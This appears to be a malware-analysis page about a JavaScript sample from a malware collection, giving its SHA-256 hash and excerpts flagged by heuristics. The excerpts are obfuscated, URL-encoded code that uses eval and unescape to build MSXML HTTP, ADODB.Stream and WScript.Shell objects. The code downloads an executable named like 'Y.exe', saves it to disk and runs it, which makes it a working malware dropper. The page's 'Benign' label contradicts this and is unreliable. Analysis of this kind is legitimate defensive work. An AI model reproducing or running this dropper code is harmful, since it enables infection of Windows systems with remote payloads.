Benign javascript-malware-collection Download

20160328_82f0d809f5ebd6b05b9de4fa0017df88.js

retry loop wrapping try-catch (for loop)eval() executing transformed code

SHA-256c07afbecfb338e0736df791c0aa66c9d6d145e9ef5e4adfd84f6ebc084aa7b77

Evidence

ADODB.Stream string fragment (DODB) line 1

1eval(outermostContext("var%20location%20%3D%20%28%22eicc%22%29%3Bvar%20then%20%3D%20%28%22ruc%22%29%2C%20dest%20%3D%20%28%22http%3A/%22%29%2C%20bulk%20%3D%20%28%22Msx%22%29%2C%20to%20%3D%20%28%22ite%22%29%2C%20matcher%20%3D%20%28%22pt%22%29%3BcomputeStyleTests%20%3D%20%28%22Y.exe%22%29%3Bvar%20prepend%20%3D%20eval%2C%20scriptCharset%20%3D%20%28%22t.XML%22%29%3BerrorCallback%20%3D%20%28%22lobals%22%29%3B%20round%20%3D%20%28%22ell%22%29%3B%20responseHeadersString%20%3D%20%28%22gth%22%29%3B%20opt%20%3D%20%28%22TP.3%22%29%3B%20rbrace%20%3D%20%28%22WScr%22%29%3BfixHook%20%3D%20%28%22HTTP.3%22%29%3B%20close …

Invokes zero-argument function at module scope lines 2–8

2:60… t.removeEvent();
3selector(initial, lastChild, superMatcher, p);
4tuples();
5base();
6getPropertyValue(propFix, pushStack);
7attr(computeStyleTests, toggle, interval, preDispatch);
8toggleClass(scriptCharset, round, …

Text has empty named-parameter catch lines 10–24

18… Node, opener, qsaError, dequeue, factory);
11
12function elem() {
for(top = 0; top < rmouseEvent["len" + responseHeadersString]; top++) {
		try {
				keyHooks = isEmptyObject["WScri" + matcher]["Crea" + operator + "bject"](rmouseEvent[top]);
				open(matcher, round, funescape);
				keyHooks["s" + factory + "nd"]();
				break;
		} catch(beforeunload) {
20
		}
}
23
while(keyHooks[opener + "yStat" + factory] != ((3 | simulate) + (1 + simulate))) isEmptyObject["WScri" + matcher]["Sl" + …

Dense computed-property call cluster (3+) lines 26–39

46… th.pow(73, special) - 5244) + (propFilter, 94, propFix))) {
		test[initial + "en"]();
		ajaxExtend(location);
		elemdisplay(pushStack, rattributeQuotes, input, errorCallback, propFix);
		test[camelKey + "eToFil" + factory](defaultPrevented, ((2 & special) | 2));
		rootjQuery();
		file["Ru" + setMatched](defaultPrevented);
} else {
34
}
36}
37
38function base(pageY, curCSS, string) {
prepend(outermostContext("rmouseEvent%20%3D%20%5BlastChild%20+%20%22.Ser%22%20+%20event%20+%20%22HTTP.6%22%20+%20responseFields%2C%20%22Msxml%22%20+%20ajaxSetup%20+%20% …

Calls JavaScript unescape lines 43–51

43:278… 20%3D%3D%20globalEval%29%29%3B"));
44}
45
46function outermostContext(setAttribute) {
47		return unescape(setAttribute);
48}
49
50function rootjQuery(mouseHooks, ret, responseContainer) {
51		prepend(outermostContext("t%5B%22WScr%22%20+%20res …